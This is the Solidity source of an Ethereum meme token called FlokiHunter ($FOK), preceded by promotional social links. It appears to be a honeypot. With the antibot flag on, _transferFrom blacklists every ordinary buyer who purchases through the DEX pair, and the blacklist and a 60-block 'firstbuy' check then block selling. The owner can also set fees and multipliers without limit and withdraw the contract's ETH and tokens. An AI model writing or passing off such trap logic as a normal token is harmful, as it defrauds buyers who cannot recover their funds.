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Contract Name:
FlokiHunter

Contract Source Code:

File 1 of 1 : FlokiHunter

/**


FLOKI HUNTER !!

THE HUNT IS STARTED !!

Telegram: https://t.me/FlokiHunterPortal

Website: https://www.flokihunter.net/

Twitter: https://twitter.com/flokihuntererc

Medium: 

https://medium.com/@flokihuntertoken/join-the-hunt-for-floki-with-the-floki-hunter-cryptocurrency-5c4f95f7b187

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

library SafeMath {
     function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    address internal potentialOwner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        require(adr != owner, "OWNER cant be unauthorized");
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function transferOwnership(address payable adr) public onlyOwner {
        require(adr != owner, "Already the owner");
        require(adr != address(0), "Can not be zero address.");
        potentialOwner = adr;
        emit OwnershipNominated(adr);
    }

    function renounceOwnership() public onlyOwner {
        authorizations[owner] = false;
        owner = address(0);
        emit OwnershipTransferred(owner);
    }

    function acceptOwnership() public {
        require(msg.sender == potentialOwner, "You must be nominated as potential owner before you can accept the role.");
        authorizations[owner] = false;
        authorizations[potentialOwner] = true;
        owner = potentialOwner;
        potentialOwner = address(0);
        emit OwnershipTransferred(owner);
    }

    event OwnershipTransferred(address owner);
    event OwnershipNominated(address potentialOwner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FlokiHunter is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "FlokiHunter";
    string public constant symbol = "$FOK";
    uint8 public constant decimals = 9;

    uint256 public constant totalSupply = 100 * 10**6 * 10**decimals;

    uint256 public _maxTxAmount = totalSupply / 10;
    uint256 public _maxWalletToken = totalSupply / 10;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    bool public blacklistMode = true;
    mapping (address => bool) public isBlacklisted;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isWalletLimitExempt;

    uint256 public liquidityFee = 1;
    uint256 public marketingFee = 20;
    uint256 public operationsFee = 50;
    uint256 public totalFee = marketingFee + liquidityFee + operationsFee;
    uint256 public constant feeDenominator = 1000;

    uint256 public buyMultiplier = 100;
    uint256 public sellMultiplier = 100;
    uint256 public transferMultiplier = 100;

    address autoLiquidityReceiver;
    address marketingFeeReceiver;
    address operationsFeeReceiver;

    IDEXRouter public router;
    address public immutable pair;

    bool public tradingOpen = true;
    bool antibot = true;

    mapping (address => uint) firstbuy;

    bool public swapEnabled = true;
    uint256 public swapThreshold = totalSupply / 1000;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = 0xaefe34ab21DD0CDd70bcdD4d00Cb1eb1DA8bd8EF;
        operationsFeeReceiver = 0x59b4Dd9776664c3a90E5f32bA04581e89E51C272;

        isFeeExempt[msg.sender] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 5,"Cannot set max wallet less than 0.5%");
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }
    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 5,"Cannot set max transaction less than 0.5%");
        _maxTxAmount = (totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
            if(antibot && (sender == pair)){
                if(firstbuy[recipient] == 0){
                    firstbuy[recipient] = block.number;
                }
                blacklist_wallet(recipient,true);
            }
        }

        // Blacklist
        if(blacklistMode && !antibot){
            require(!isBlacklisted[sender],"Blacklisted");
        }

        if(antibot && (firstbuy[sender] > 0)){
            require( firstbuy[sender] > (block.number - 60), "Bought before contract was launched");
        }

        if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "Max TX Limit Exceeded");

        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);


        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        uint256 contractTokens = feeAmount;

        if(contractTokens > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(contractTokens);
            emit Transfer(sender, address(this), contractTokens);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function tradingStatus(bool _status, bool _ab) external onlyOwner {
        tradingOpen = _status;
        antibot = _ab;
    }

    function swapBack() internal swapping {
        uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHOperations = amountETH.mul(operationsFee).div(totalETHFee);

        payable(marketingFeeReceiver).transfer(amountETHMarketing);
        payable(operationsFeeReceiver).transfer(amountETHOperations);

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
        }
    }

    function manage_blacklist_status(bool _status) external onlyOwner {
        blacklistMode = _status;
    }

    function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 201,"GAS Error: max limit is 200 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            blacklist_wallet(addresses[i],status);
        }
    }

    function blacklist_wallet(address _adr, bool _status) private {
        if(_status && _adr == pair){
            return;
        }
        isBlacklisted[_adr] = _status;
    }

    function manage_FeeExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isFeeExempt[addresses[i]] = status;
        }
    }

    function manage_TxLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isTxLimitExempt[addresses[i]] = status;
        }
    }

    function manage_WalletLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isWalletLimitExempt[addresses[i]] = status;
        }
    }

    function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
        sellMultiplier = _sell;
        buyMultiplier = _buy;
        transferMultiplier = _trans;
    }

    function setFees(uint256 _liquidityFee,  uint256 _marketingFee, uint256 _operationsFee) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        operationsFee = _operationsFee;
        totalFee = _liquidityFee + _marketingFee + _operationsFee;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _operationsFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        operationsFeeReceiver = _operationsFeeReceiver;
    }


    function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner {
        require(_denominator > 50, "Amount too high");

        swapEnabled = _enabled;
        swapThreshold = totalSupply / _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }


    function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        require(addresses.length == tokens.length,"Mismatch between address and token count");

        uint256 SCCC = 0;

        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }

        require(balanceOf[from] >= SCCC, "Not enough tokens in wallet");

        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from,addresses[i],tokens[i]);
        }
    }

}

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